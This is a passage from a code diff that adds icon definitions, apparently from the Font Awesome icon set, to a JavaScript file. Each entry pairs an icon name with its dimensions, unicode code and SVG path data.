], + "align-right": [ 448, 512, [], "f038", "M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z" ], + allergies: [ 448, 512, [], "f461", "M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + ambulance: [ 640, 512, [], "f0f9", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" ], + "american-sign-language-interpreting": [ 640, 512, [], "f2a3", "M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z" ], + anchor: [ 576, 512, [], "f13d", "M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z" ], + "angle-double-down": [ 320, 512, [], "f103", "M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z" ], + "angle-double-left": [ 448, 512, [], "f100", "M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z" ], + "angle-double-right": [ 448, 512, [], "f101", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z" ], + "angle-double-up": [ 320, 512, [], "f102", "M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z" ], + "angle-down": [ 320, 512, [], "f107", "M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z" ], + "angle-left": [ 256, 512, [], "f104", "M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z" ], + "angle-right": [ 256, 512, [], "f105", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z" ], + "angle-up": [ 320, 512, [], "f106", "M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z" ], + angry: [ 496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z" ], + ankh: [ 320, 512, [], "f644", "M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z" ], + "apple-alt": [ 448, 512, [], "f5d1", "M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z" ], + archive: [ 512, 512, [], "f187", "M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z" ], + archway: [ 576, 512, [], "f557", "M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z" ], + "arrow-alt-circle-down": [ 512, 512, [], "f358", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z" ], + "arrow-alt-circle-left": [ 512, 512, [], "f359", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z" ], + "arrow-alt-circle-right": [ 512, 512, [], "f35a", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z" ], + "arrow-alt-circle-up": [ 512, 512, [], "f35b", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z" ], + "arrow-circle-down": [ 512, 512, [], "f0ab", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z" ], + "arrow-circle-left": [ 512, 512, [], "f0a8", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z" ], + "arrow-circle-right": [ 512, 512, [], "f0a9", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z" ], + "arrow-circle-up": [ 512, 512, [], "f0aa", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z" ], + "arrow-down": [ 448, 512, [], "f063", "M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z" ], + "arrow-left": [ 448, 512, [], "f060", "M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z" ], + "arrow-right": [ 448, 512, [], "f061", "M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z" ], + "arrow-up": [ 448, 512, [], "f062", "M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z" ], + "arrows-alt": [ 512, 512, [], "f0b2", "M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z" ], + "arrows-alt-h": [ 512, 512, [], "f337", "M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z" ], + "arrows-alt-v": [ 256, 512, [], "f338", "M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z" ], + "assistive-listening-systems": [ 512, 512, [], "f2a2", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z" ], + asterisk: [ 512, 512, [], "f069", "M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z" ], + at: [ 512, 512, [], "f1fa", "M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z" ], + atlas: [ 448, 512, [], "f558", "M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z" ], + atom: [ 448, 512, [], "f5d2", "M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z" ], + "audio-description": [ 512, 512, [], "f29e", "M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 